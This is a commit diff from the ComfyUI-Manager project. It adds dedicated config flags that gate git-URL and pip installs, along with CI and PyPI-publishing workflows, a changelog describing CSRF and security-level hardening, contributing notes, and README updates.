bump version

* feat(security): dedicated install flags decouple git_url/pip from security_level

Install via git URL and pip install are no longer gated by
security_level. Each surface gets a dedicated config.ini flag —
allow_git_url_install / allow_pip_install (both default false, secure
by default) — that fully REPLACES the security-level term for these two
features. The network-position invariant is retained: a non-local
listener stays denied regardless of the flags unless
network_mode = personal_cloud.

- New pure predicate is_dedicated_install_allowed() in
  common/manager_security (no config access; callers resolve config)
- Legacy endpoints /v2/customnode/install/git_url and .../pip switch
  from is_allowed_security_level('high+') to the flag gate; batch
  installs of unknown git URLs likewise (middle+ entry gate unchanged,
  unknown-pip 'block' stays unconditional; response shapes preserved)
- Config readers/writers (glob + legacy) parse and persist the flags;
  denial logs and frontend 403 messages name the responsible flag and
  note the non-local-listener requirement (network_mode=personal_cloud)
- No auto-seed from security_level — users previously on weak/normal-
  must opt in explicitly (see CHANGELOG migration notes; README
  documents the new contract)
- Update the pre-existing permissive E2E harness
  (start_comfyui_permissive.sh + test_e2e_legacy_real_ops.py) to the
  new contract: it now also sets allow_git_url_install /
  allow_pip_install = true, since security_level = normal- alone no
  longer opens the git_url/pip endpoints

Tests: predicate truth table proving security_level independence in
both directions, dual-reader config contract, security-level-matrix
freeze guards, legacy gate regression guards (121 unit), plus 22
real-server E2E tests incl. URL-form pip install with self-clean.

* test(e2e): fix fresh-env failures in customnode_info and git_clone harnesses

Two pre-existing harness defects that fail deterministically on a fresh
E2E environment (unrelated to the dedicated-install-flags change):

- test_e2e_customnode_info: TestInstalledPacks asserted the seed pack
  ComfyUI_SigmoidOffsetScheduler is installed, but nothing seeded it —
  the installing module (test_e2e_endpoint) runs alphabetically later
  and uninstalls it at the end. Add a module-scoped autouse fixture
  that installs the pack via cm-cli BEFORE the server starts (the
  imported-mode test asserts against the startup-frozen snapshot, so
  API-based seeding after boot cannot work) and removes it on teardown
  only if the fixture installed it.
- test_e2e_git_clone: _ensure_cache ran cm-cli update-cache with a
  120s timeout; the full DB download routinely exceeds that on slow
  links, erroring the whole module at setup. Raise to 600s.

Verified from a fresh state (seed pack absent): both modules pass
(13 tests, incl. previously-failing TestInstalledPacks 2 and
TestNightlyInstallCycle 3).

.env.example

@@ -0,0 +1 @@
+PYPI_TOKEN=your-pypi-token

.github/workflows/ci.yml

@@ -0,0 +1,70 @@
+name: CI
+
+on:
+  push:
+    branches: [ main, feat/*, fix/* ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  validate-openapi:
+    name: Validate OpenAPI Specification
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v4
+    
+    - name: Check if OpenAPI changed
+      id: openapi-changed
+      uses: tj-actions/changed-files@v44
+      with:
+        files: openapi.yaml
+    
+    - name: Setup Node.js
+      if: steps.openapi-changed.outputs.any_changed == 'true'
+      uses: actions/setup-node@v4
+      with:
+        node-version: '18'
+    
+    - name: Install Redoc CLI
+      if: steps.openapi-changed.outputs.any_changed == 'true'
+      run: |
+        npm install -g @redocly/cli
+    
+    - name: Validate OpenAPI specification
+      if: steps.openapi-changed.outputs.any_changed == 'true'
+      run: |
+        redocly lint openapi.yaml
+
+  code-quality:
+    name: Code Quality Checks
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v4
+      with:
+        fetch-depth: 0  # Fetch all history for proper diff
+    
+    - name: Get changed Python files
+      id: changed-py-files
+      uses: tj-actions/changed-files@v44
+      with:
+        files: |
+          **/*.py
+        files_ignore: |
+          comfyui_manager/legacy/**
+          
+    - name: Setup Python
+      if: steps.changed-py-files.outputs.any_changed == 'true'
+      uses: actions/setup-python@v5
+      with:
+        python-version: '3.9'
+    
+    - name: Install dependencies
+      if: steps.changed-py-files.outputs.any_changed == 'true'
+      run: |
+        pip install ruff
+    
+    - name: Run ruff linting on changed files
+      if: steps.changed-py-files.outputs.any_changed == 'true'
+      run: |
+        echo "Changed files: ${{ steps.changed-py-files.outputs.all_changed_files }}"
+        echo "${{ steps.changed-py-files.outputs.all_changed_files }}" | xargs -r ruff check

.github/workflows/e2e.yml

@@ -0,0 +1,74 @@
+name: "E2E Tests on Multiple Platforms"
+on:
+  push:
+    branches: [main, feat/*, fix/*]
+    paths:
+      - "comfyui_manager/**"
+      - "cm_cli/**"
+      - "tests/e2e/**"
+      - ".github/workflows/e2e.yml"
+  pull_request:
+    branches: [main]
+    paths:
+      - "comfyui_manager/**"
+      - "cm_cli/**"
+      - "tests/e2e/**"
+      - ".github/workflows/e2e.yml"
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+jobs:
+  e2e:
+    name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 15
+    env:
+      PYTHONIOENCODING: "utf8"
+
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+        python-version: ["3.10"]
+
+    steps:
+      - name: Check out code
+        uses: actions/checkout@v4
+
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+
+      - name: Install uv
+        uses: astral-sh/setup-uv@v4
+
+      - name: Set E2E_ROOT
+        shell: bash
+        run: |
+          if [[ "$RUNNER_OS" == "Windows" ]]; then
+            echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
+          else
+            echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
+          fi
+
+      - name: Setup E2E environment
+        shell: bash
+        env:
+          MANAGER_ROOT: ${{ github.workspace }}
+        run: |
+          python tests/e2e/scripts/setup_e2e_env.py
+
+      - name: Run E2E tests
+        shell: bash
+        run: |
+          if [[ "$RUNNER_OS" == "Windows" ]]; then
+            VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
+          else
+            VENV_PY="$E2E_ROOT/venv/bin/python"
+          fi
+          uv pip install --python "$VENV_PY" pytest pytest-timeout
+
+          "$VENV_PY" -m pytest tests/cli/test_uv_compile.py -v -s --timeout=300

.github/workflows/publish-to-pypi.yml

@@ -0,0 +1,58 @@
+name: Publish to PyPI
+
+on:
+  workflow_dispatch:
+  push:
+    branches:
+      - manager-v4
+    paths:
+      - "pyproject.toml"
+
+jobs:
+  build-and-publish:
+    runs-on: ubuntu-latest
+    if: ${{ github.repository_owner == 'ltdrdata' || github.repository_owner == 'Comfy-Org' }}
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.x'
+
+      - name: Install build dependencies
+        run: |
+          python -m pip install --upgrade pip
+          python -m pip install build twine
+
+      - name: Get current version
+        id: current_version
+        run: |
+          CURRENT_VERSION=$(grep -oP '^version = "\K[^"]+' pyproject.toml)
+          echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT
+          echo "Current version: $CURRENT_VERSION"
+
+      - name: Build package
+        run: python -m build
+
+      # - name: Create GitHub Release
+      #   id: create_release
+      #   uses: softprops/action-gh-release@v2
+      #   env:
+      #     GITHUB_TOKEN: ${{ github.token }}
+      #   with:
+      #     files: dist/*
+      #     tag_name: v${{ steps.current_version.outputs.version }}
+      #     draft: false
+      #     prerelease: false
+      #     generate_release_notes: true
+
+      - name: Publish to PyPI
+        uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc
+        with:
+          password: ${{ secrets.PYPI_TOKEN }}
+          skip-existing: true
+          verbose: true

.github/workflows/publish.yml

@@ -1,21 +0,0 @@
-name: Publish to Comfy registry
-on:
-  workflow_dispatch:
-  push:
-    branches:
-      - main-blocked
-    paths:
-      - "pyproject.toml"
-
-jobs:
-  publish-node:
-    name: Publish Custom Node to registry
-    runs-on: ubuntu-latest
-    steps:
-      - name: Check out code
-        uses: actions/checkout@v4
-      - name: Publish Custom Node
-        uses: Comfy-Org/publish-node-action@main
-        with:
-          ## Add your own personal access token to your Github Repository secrets and reference it here.
-          personal_access_token: ${{ secrets.REGISTRY_ACCESS_TOKEN }}

.github/workflows/ruff.yml

@@ -0,0 +1,23 @@
+name: Python Linting
+
+on: [push, pull_request]
+
+jobs:
+  ruff:
+    name: Run Ruff
+    runs-on: ubuntu-latest
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v4
+
+    - name: Set up Python
+      uses: actions/setup-python@v2
+      with:
+        python-version: 3.x
+
+    - name: Install Ruff
+      run: pip install ruff
+
+    - name: Run Ruff
+      run: ruff check .

.gitignore

@@ -1,6 +1,8 @@
 __pycache__/
 .idea/
 .vscode/
+.history/
+*.code-workspace
 .tmp
 .cache
 config.ini
@@ -15,3 +17,12 @@ github-stats-cache.json
 pip_overrides.json
 *.json
 check2.sh
+/venv/
+build
+dist
+*.egg-info
+.env
+.claude
+test_venv
+node_modules/
+artifacts/

CHANGELOG.md

@@ -0,0 +1,177 @@
+# Changelog
+
+All notable changes to **ComfyUI-Manager** are documented in this file.
+
+The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1.1.0/),
+and this project adheres to [Semantic Versioning 2.0.0](https://semver.org/spec/v2.0.0.html).
+
+## [Unreleased]
+
+## [4.2.2] - 2026-06-15
+
+### Security
+
+- **Dedicated install flags decouple git-URL / pip installs from `security_level`**:
+  `POST /v2/customnode/install/git_url` and `POST /v2/customnode/install/pip`
+  (and the batch install path for git URLs not in the custom-node DB) are now
+  gated by two new `config.ini` `[default]` flags — `allow_git_url_install`
+  and `allow_pip_install` — instead of `security_level`. Both default to
+  `false` (secure by default), and a non-loopback listener stays denied unless
+  `network_mode = personal_cloud` (the existing network-position invariant is
+  retained — the flags never widen exposure beyond what was possible before).
+  `security_level` no longer has any effect on these two endpoints, in either
+  direction. The unknown-pip-package block in batch installs remains
+  unconditional. Activation requires a restart (no hot reload).
+
+### Migration notes
+
+- **Users running `security_level = weak` or `normal-`**: these environments
+  could previously use the git-URL / pip install endpoints; after upgrading
+  they are denied (HTTP 403) until you explicitly opt in by setting
+  `allow_git_url_install = true` and/or `allow_pip_install = true` in the
+  `[default]` section of `config.ini`. The flags are NOT auto-seeded from
+  your `security_level` — explicit opt-in is intentional.
+
+### Fixed
+
+- **pygit2 fallback hardening (Desktop 2.0)**: under `CM_USE_PYGIT2=1` the
+  pygit2 backend ran `clone_repository` / `remote.fetch` honoring the user's
+  global git config, so an `insteadOf` rewrite (https→ssh) or credential
+  helper forced authentication and failed with *"authentication required but
+  no callback set"*. The system/global/XDG config search path is now blanked
+  at import time (hermetic libgit2 operations) and SSH-form GitHub URLs are
+  normalized to anonymous HTTPS on clone and when opening a repo. System
+  `git` is preferred when available.
+- **pygit2 fallback follow-ups**: `list_remotes()` fetches now route through
+  `_fetch_remote` so the proxy and SSH→HTTPS rewrite apply to every fetch
+  entry point, with `pull` provided on the proxies via a shared
+  `_pull_remote` helper. `_to_https_url` now handles `ssh://git@host:port/...`
+  URLs (drops the custom SSH port instead of mangling it) and collapses
+  leading slashes; non-scp-form and port-only/IPv6 `ssh://` URLs are returned
+  unchanged. `clone_repo` omits the `proxy=` kwarg when no proxy is
+  configured (proxy-less installs keep working on pygit2 < 1.18), and pygit2
+  is now pinned to `>= 1.18`.
+
+## [4.2.1] - 2026-04-22
+
+Security-hardening release. Contains breaking-ish API changes for
+state-mutating endpoints. See **Migration notes** below before upgrading
+programmatic clients.
+
+### Security
+
+- **CSRF Content-Type gate**: 18 state-mutation POST handlers (9 in `glob`, 9 in
+  `legacy`) now reject the three CORS "simple request" Content-Types
+  (`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`).
+  This closes the residual `<form method="POST">` bypass route that remained
+  after the GET→POST transition. Legitimate clients using `application/json`
+  (or no body) are unaffected.
+- **`do_fix` security level raised from `high` to `high+`**: aligns the
+  enforcement gate (`is_allowed_security_level`) with the log text emitted by
+  `SECURITY_MESSAGE_HIGH_P`. Both `glob/manager_server.py` and
+  `legacy/manager_server.py` updated in lockstep. Environments running at
+  `security_level = high` can no longer fix a nodepack — use
+  `security_level = normal` or lower.
+- **Config setters now gated at `middle` security level**:
+  `POST /v2/manager/db_mode`, `POST /v2/manager/policy/update`, and
+  `POST /v2/manager/channel_url_list` now check
+  `is_allowed_security_level('middle')` before mutating configuration (both
+  `glob` and `legacy`). Closes a pre-existing gap where the write path was
+  reachable at any security level. Reads (`GET`) remain unrestricted.
+
+### Changed
+
+- **State-changing endpoints converted from `GET` to `POST`** (CSRF hardening):
+  `/v2/manager/queue/{update_all, reset, start, update_comfyui}`,
+  `/v2/snapshot/{remove, restore, save}`,
+  `/v2/comfyui_manager/comfyui_switch_version`,
+  `/v2/manager/reboot`.
+  Query-string parameters are preserved where they existed; only the HTTP
+  method changes.
+- **`POST /v2/comfyui_manager/comfyui_switch_version` parameters moved from
+  query string to JSON body** (REST idiom + body-reading CSRF posture):
+  The handler now consumes `application/json` with the body shape
+  `{"ver": "...", "client_id": "...", "ui_id": "..."}` instead of reading
+  `?ver=...&client_id=...&ui_id=...` from the URL. Because body-reading
+  handlers are already covered by the CORS-preflight mechanism for
+  cross-origin protection, the Content-Type rejection gate introduced for
+  the other state-mutation endpoints is intentionally NOT applied here
+  (see `comfyui_manager/common/manager_security.py` module docstring).
+  The first-party JS client in `comfyui_manager/js/comfyui-manager.js`
+  was updated in the same change; third-party callers must migrate.
+- **Config endpoints split into `GET` (read) + `POST` (write)**:
+  `/v2/manager/{db_mode, policy/update, channel_url_list}`. `GET` returns the
+  current value; `POST` accepts a JSON body `{"value": "..."}`. The prior
+  single-method form that accepted a `?value=...` query parameter on either
+  verb is retired.
+- **`openapi.yaml` fully resynchronized** with the server: HTTP methods, the
+  dual-method splits above, request-body schemas for the new POST setters,
+  and the `TaskHistoryItem.params` field now match `manager_server.py`.
+- **Legacy `restart(self)` → `restart(request)`**: parameter name corrected.
+  No behavioral change.
+
+### Added
+
+- **Server-push feature flag `extension.manager.supports_csrf_post`** registered
+  at startup, allowing ComfyUI-frontend (and other clients) to detect
+  CSRF-POST backend support as a semantic capability contract, without
+  relying on version string parsing. Manager versions prior to 4.2.1 do not
+  set the flag — clients should treat its absence as 'incompatible with
+  POST-only state-mutation endpoints'.
+- **E2E test harness variants** for security-level and legacy-mode scenarios:
+  `tests/e2e/scripts/start_comfyui_legacy.sh`,
+  `tests/e2e/scripts/start_comfyui_permissive.sh`,
+  `tests/e2e/scripts/start_comfyui_strict.sh`. See
+  `docs/guide/GUIDE_E2E_TEST.md` for usage.
+- **`COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS` environment variable**: when
+  set, skips the `manager_requirements.txt` reinstall path. Intended for E2E
+  environments where those dependencies are provisioned separately.
+- **`TaskHistoryItem.params` field** (Pydantic + `openapi.yaml`): mirrors
+  `QueueTaskItem.params` so that task history retains the original request
+  payload (nullable when unavailable).
+- **Automated endpoint coverage** — pytest E2E + Playwright specs covering all
+  39 unique `(method, path)` endpoints across `glob` and `legacy`. Coverage is
+  tracked in `reports/api-coverage-matrix.md` and
+  `reports/e2e_test_coverage.md`.
+
+### Removed
+
+- **Legacy per-operation POST routes consolidated into `POST /v2/manager/queue/batch`**:
+  `/v2/manager/queue/{install, uninstall, update, fix, disable, reinstall, abort_current}`.
+  The first-party JS client already uses `queue/batch`; only third-party
+  scripts that call the per-operation routes directly are affected.
+- **`GET /manager/notice`** (v1, pip-install redirect banner).
+  `GET /v2/manager/notice` remains available.
+
+### Migration notes
+
+- Third-party clients calling `POST /v2/manager/queue/install` (and the other
+  per-operation queue routes) must switch to
+  `POST /v2/manager/queue/batch` with a body such as
+  `{"install": [{id, ver, ...}], "batch_id": "..."}`. See
+  `reports/endpoint_scenarios.md` for the full payload shape.
+- Programmatic clients that posted to the CSRF-hardened endpoints with
+  `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
+  must switch to `application/json` (or omit the body entirely when the
+  endpoint takes its parameters from the query string).
+- Clients that called any of the methods listed under **Changed → State-changing
+  endpoints** with `GET` must switch to `POST`. Query parameters remain valid.
+- Clients that wrote configuration via
+  `GET /v2/manager/{db_mode, policy/update, channel_url_list}?value=...`
+  must switch to `POST` with JSON body `{"value": "..."}`.
+- Third-party scripts calling
+  `POST /v2/comfyui_manager/comfyui_switch_version?ver=...&client_id=...&ui_id=...`
+  must switch to `POST` with `Content-Type: application/json` and body
+  `{"ver": "...", "client_id": "...", "ui_id": "..."}`. The query-string
+  form no longer works.
+- Environments running at `security_level = high` can no longer run
+  `do_fix`. Either lower the security level (`normal`, `normal-`, or `weak`
+  as appropriate) or skip the fix operation.
+- Environments running at `security_level = high` can no longer mutate
+  `db_mode`, `policy/update`, or `channel_url_list` via POST (returns `403`).
+  Lower the security level to `normal` or below to change configuration, or
+  perform the change from a trusted entry point. Read access via `GET` is
+  unaffected.
+
+[4.2.2]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.2.1...v4.2.2
+[4.2.1]: https://github.com/Comfy-Org/ComfyUI-Manager/compare/v4.1b6...v4.2.1

CONTRIBUTING.md

@@ -0,0 +1,47 @@
+## Testing Changes
+
+1. Activate the ComfyUI environment.
+
+2. Build package locally after making changes.
+
+```bash
+# from inside the ComfyUI-Manager directory, with the ComfyUI environment activated
+python -m build
+```
+
+3. Install the package locally in the ComfyUI environment.
+
+```bash
+# Uninstall existing package
+pip uninstall comfyui-manager
+
+# Install the locale package
+pip install dist/comfyui-manager-*.whl
+```
+
+4. Start ComfyUI.
+
+```bash
+# after navigating to the ComfyUI directory
+python main.py
+```
+
+## Manually Publish Test Version to PyPi
+
+1. Set the `PYPI_TOKEN` environment variable in env file.
+
+2. If manually publishing, you likely want to use a release candidate version, so set the version in [pyproject.toml](pyproject.toml) to something like `0.0.1rc1`.
+
+3. Build the package.
+
+```bash
+python -m build
+```
+
+4. Upload the package to PyPi.
+
+```bash
+python -m twine upload dist/* --username __token__ --password $PYPI_TOKEN
+```
+
+5. View at https://pypi.org/project/comfyui-manager/

MANIFEST.in

@@ -0,0 +1,14 @@
+include comfyui_manager/js/*
+include comfyui_manager/*.json
+include comfyui_manager/glob/*
+include LICENSE.txt
+include README.md
+include requirements.txt
+include pyproject.toml
+include custom-node-list.json
+include extension-node-list.json
+include extras.json
+include github-stats.json
+include model-list.json
+include alter-list.json
+include comfyui_manager/channels.list.template

README.md

@@ -2,127 +2,50 @@
 
 **ComfyUI-Manager** is an extension designed to enhance the usability of [ComfyUI](https://github.com/comfyanonymous/ComfyUI). It offers management functions to **install, remove, disable, and enable** various custom nodes of ComfyUI. Furthermore, this extension provides a hub feature and convenience functions to access a wide range of information within ComfyUI.
 
-![menu](misc/menu.jpg)
+![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/refs/heads/Main/ComfyUI-Manager/images/dialog.jpg)
 
 ## NOTICE
-* V2.48.1: Security policy has been changed. Downloads of models in the list are allowed under the 'normal' security level.
-* V2.47: Security policy has been changed. The former 'normal' is now 'normal-', and 'normal' no longer allows high-risk features, even if your ComfyUI is local.
-* V2.37 Show a ✅ mark to accounts that have been active on GitHub for more than six months.
-* V2.33 Security policy is applied.
-* V2.21 [cm-cli](docs/en/cm-cli.md) tool is added.
-* V2.18 to V2.18.3 is not functioning due to a severe bug. Users on these versions are advised to promptly update to V2.18.4. Please navigate to the `ComfyUI/custom_nodes/ComfyUI-Manager` directory and execute `git pull` to update.
+* V4.0: Modify the structure to be installable via pip instead of using git clone.
+* V3.16: Support for `uv` has been added. Set `use_uv` in `config.ini`.
+* V3.10: `double-click feature` is removed
+  * This feature has been moved to https://github.com/ltdrdata/comfyui-connection-helper
+* V3.3.2: Overhauled. Officially supports [https://registry.comfy.org/](https://registry.comfy.org/).
 * You can see whole nodes info on [ComfyUI Nodes Info](https://ltdrdata.github.io/) page.
 
 ## Installation
 
-### Installation[method1] (General installation method: ComfyUI-Manager only)
+* When installing the latest ComfyUI, it will be automatically installed as a dependency, so manual installation is no longer necessary.
 
-To install ComfyUI-Manager in addition to an existing installation of ComfyUI, you can follow the following steps:
+* Manual installation of the nightly version:
+    * Clone to a temporary directory (**Note:** Do **not** clone into `ComfyUI/custom_nodes`.)
+      ```  
+      git clone https://github.com/Comfy-Org/ComfyUI-Manager  
+      ```  
+    * Install via pip
+      ```  
+      cd ComfyUI-Manager  
+      pip install .  
+      ```
 
-1. goto `ComfyUI/custom_nodes` dir in terminal(cmd)
-2. `git clone https://github.com/ltdrdata/ComfyUI-Manager.git`
-3. Restart ComfyUI
+* See also: https://github.com/Comfy-Org/comfy-cli
 
 
-### Installation[method2] (Installation for portable ComfyUI version: ComfyUI-Manager only)
-1. install git 
-- https://git-scm.com/download/win
-- standalone version  
-- select option: use windows default console window
-2. Download [scripts/install-manager-for-portable-version.bat](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-manager-for-portable-version.bat) into installed `"ComfyUI_windows_portable"` directory
-3. double click `install-manager-for-portable-version.bat` batch file
+## Front-end
 
-![portable-install](misc/portable-install.png)
-
-
-### Installation[method3] (Installation through comfy-cli: install ComfyUI and ComfyUI-Manager at once.)  
-> RECOMMENDED: comfy-cli provides various features to manage ComfyUI from the CLI.
-
-* **prerequisite: python 3, git**
-
-Windows:
-```commandline
-python -m venv venv
-venv\Scripts\activate
-pip install comfy-cli
-comfy install
-```
-
-Linux/OSX:
-```commandline
-python -m venv venv
-. venv/bin/activate
-pip install comfy-cli
-comfy install
-```
-
-
-### Installation[method4] (Installation for linux+venv: ComfyUI + ComfyUI-Manager)
-
-To install ComfyUI with ComfyUI-Manager on Linux using a venv environment, you can follow these steps:
-* **prerequisite: python-is-python3, python3-venv, git**
-
-1. Download [scripts/install-comfyui-venv-linux.sh](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-comfyui-venv-linux.sh) into empty install directory
-- ComfyUI will be installed in the subdirectory of the specified directory, and the directory will contain the generated executable script.
-2. `chmod +x install-comfyui-venv-linux.sh`
-3. `./install-comfyui-venv-linux.sh`
-
-### Installation Precautions
-* **DO**: `ComfyUI-Manager` files must be accurately located in the path `ComfyUI/custom_nodes/ComfyUI-Manager`
-  * Installing in a compressed file format is not recommended.
-* **DON'T**: Decompress directly into the `ComfyUI/custom_nodes` location, resulting in the Manager contents like `__init__.py` being placed directly in that directory.
-  * You have to remove all ComfyUI-Manager files from `ComfyUI/custom_nodes`
-* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager/ComfyUI-Manager`.
-  * You have to move `ComfyUI/custom_nodes/ComfyUI-Manager/ComfyUI-Manager` to `ComfyUI/custom_nodes/ComfyUI-Manager`
-* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager-main`.
-  * In such cases, `ComfyUI-Manager` may operate, but it won't be recognized within `ComfyUI-Manager`, and updates cannot be performed. It also poses the risk of duplicate installations.
-  * You have to rename `ComfyUI/custom_nodes/ComfyUI-Manager-main` to `ComfyUI/custom_nodes/ComfyUI-Manager`
-
-
-You can execute ComfyUI by running either `./run_gpu.sh` or `./run_cpu.sh` depending on your system configuration.
-
-## Colab Notebook
-This repository provides Colab notebooks that allow you to install and use ComfyUI, including ComfyUI-Manager. To use ComfyUI, [click on this link](https://colab.research.google.com/github/ltdrdata/ComfyUI-Manager/blob/main/notebooks/comfyui_colab_with_manager.ipynb).
-* Support for installing ComfyUI
-* Support for basic installation of ComfyUI-Manager
-* Support for automatically installing dependencies of custom nodes upon restarting Colab notebooks.
-
-## Changes
-* **2.38** `Install Custom Nodes` menu is changed to `Custom Nodes Manager`.
-* **2.21** [cm-cli](docs/en/cm-cli.md) tool is added.
-* **2.4** Copy the connections of the nearest node by double-clicking.
-* **2.2.3** Support Components System
-* **0.29** Add `Update all` feature
-* **0.25** support db channel
-  * You can directly modify the db channel settings in the `config.ini` file.
-  * If you want to maintain a new DB channel, please modify the `channels.list` and submit a PR.
-* **0.23** support multiple selection
-* **0.18.1** `skip update check` feature added.
-  * A feature that allows quickly opening windows in environments where update checks take a long time.
-* **0.17.1** Bug fix for the issue where enable/disable of the web extension was not working. Compatibility patch for StableSwarmUI.
-  * Requires latest version of ComfyUI (Revision: 1240)
-* **0.17** Support preview method setting feature.
-* **0.14** Support robust update.
-* **0.13** Support additional 'pip' section for install spec.
-* **0.12** Better installation support for Windows.
-* **0.9** Support keyword search in installer menu.
-* **V0.7.1** Bug fix for the issue where updates were not being applied on Windows.
-  * **For those who have been using versions 0.6, please perform a manual git pull in the custom_nodes/ComfyUI-Manager directory.**
-* **V0.7** To address the issue of a slow list refresh, separate the fetch update and update check processes.
-* **V0.6** Support extension installation for missing nodes.
-* **V0.5** Removed external git program dependencies.
+* The built-in front-end of ComfyUI-Manager is the legacy front-end. The front-end for ComfyUI-Manager is now provided via [ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend).
+* To enable the legacy front-end, set the environment variable `ENABLE_LEGACY_COMFYUI_MANAGER_FRONT` to `true` before running.
 
 
 ## How To Use
 
 1. Click "Manager" button on main menu
 
-    ![mainmenu](misc/main.jpg)
+    ![mainmenu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/topbar.jpg)
 
 
 2. If you click on 'Install Custom Nodes' or 'Install Models', an installer dialog will open.
 
-    ![menu](misc/menu.jpg)
+    ![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/refs/heads/Main/ComfyUI-Manager/images/dialog.jpg)
 
     * There are three DB modes: `DB: Channel (1day cache)`, `DB: Local`, and `DB: Channel (remote)`. 
       * `Channel (1day cache)` utilizes Channel cache information with a validity period of one day to quickly display the list.
@@ -138,9 +61,9 @@ This repository provides Colab notebooks that allow you to install and use Comfy
 
 3. Click 'Install' or 'Try Install' button.
 
-    ![node-install-dialog](misc/custom-nodes.jpg)
+    ![node-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/custom-nodes.jpg)
 
-    ![model-install-dialog](misc/models.png)
+    ![model-install-dialog](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/models.jpg)
 
     * Installed: This item is already installed.
     * Install: Clicking this button will install the item.
@@ -150,42 +73,59 @@ This repository provides Colab notebooks that allow you to install and use Comfy
       * Channel settings have a broad impact, affecting not only the node list but also all functions like "Update all."
     * Conflicted Nodes with a yellow background show a list of nodes conflicting with other extensions in the respective extension. This issue needs to be addressed by the developer, and users should be aware that due to these conflicts, some nodes may not function correctly and may need to be installed accordingly.
 
-4. If you set the `Badge:` item in the menu as `Badge: Nickname`, `Badge: Nickname (hide built-in)`, `Badge: #ID Nickname`, `Badge: #ID Nickname (hide built-in)` the information badge will be displayed on the node.
-    * When selecting (hide built-in), it hides the 🦊 icon, which signifies built-in nodes.
-      * Nodes without any indication on the badge are custom nodes that Manager cannot recognize.
-    * `Badge: Nickname` displays the nickname of custom nodes, while `Badge: #ID Nickname` also includes the internal ID of the node.
-
-    ![model-install-dialog](misc/nickname.jpg)
-
-
-5. Share
-  ![menu](misc/main.jpg) ![share](misc/share.jpg) 
+4. Share
+  ![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/topbar.jpg) ![share](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/share.jpg) 
 
   * You can share the workflow by clicking the Share button at the bottom of the main menu or selecting Share Output from the Context Menu of the Image node.
   * Currently, it supports sharing via [https://comfyworkflows.com/](https://comfyworkflows.com/),
     [https://openart.ai](https://openart.ai/workflows/dev), [https://youml.com](https://youml.com) 
     as well as through the Matrix channel.
 
-  ![menu](misc/share-setting.jpg)
+  ![menu](https://raw.githubusercontent.com/ltdrdata/ComfyUI-extension-tutorials/Main/ComfyUI-Manager/images/share-setting.jpg)
   
-  * Through the Share settings in the Manager menu, you can configure the behavior of the Share button in the Main menu or Share Ouput button on Context Menu.
+  * Through the Share settings in the Manager menu, you can configure the behavior of the Share button in the Main menu or Share Output button on Context Menu.
     * `None`: hide from Main menu
     * `All`: Show a dialog where the user can select a title for sharing.
 
 
+## Paths
+In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
+
+* <USER_DIRECTORY>
+  * If executed without any options, the path defaults to ComfyUI/user.
+  * It can be set using --user-directory <USER_DIRECTORY>.
+
+* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
+* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
+* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
+* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
+* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
+* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
+* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
+* Component files: `<USER_DIRECTORY>/__manager/components`
+
+
+## `extra_model_paths.yaml` Configuration
+The following settings are applied based on the section marked as `is_default`.
+
+* `custom_nodes`: Path for installing custom nodes
+    * Importing does not need to adhere to the path set as `is_default`, but this is the path where custom nodes are installed by the `ComfyUI Nodes Manager`.
+* `download_model_base`: Path for downloading models
+
+
 ## Snapshot-Manager
 * When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
-  * Snapshot file dir: `ComfyUI-Manager/snapshots`
+  * Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
   * You can rename snapshot file.
 * Press the "Restore" button to revert to the installation status of the respective snapshot.
   * However, for custom nodes not managed by Git, snapshot support is incomplete.
 * When you press `Restore`, it will take effect on the next ComfyUI startup.
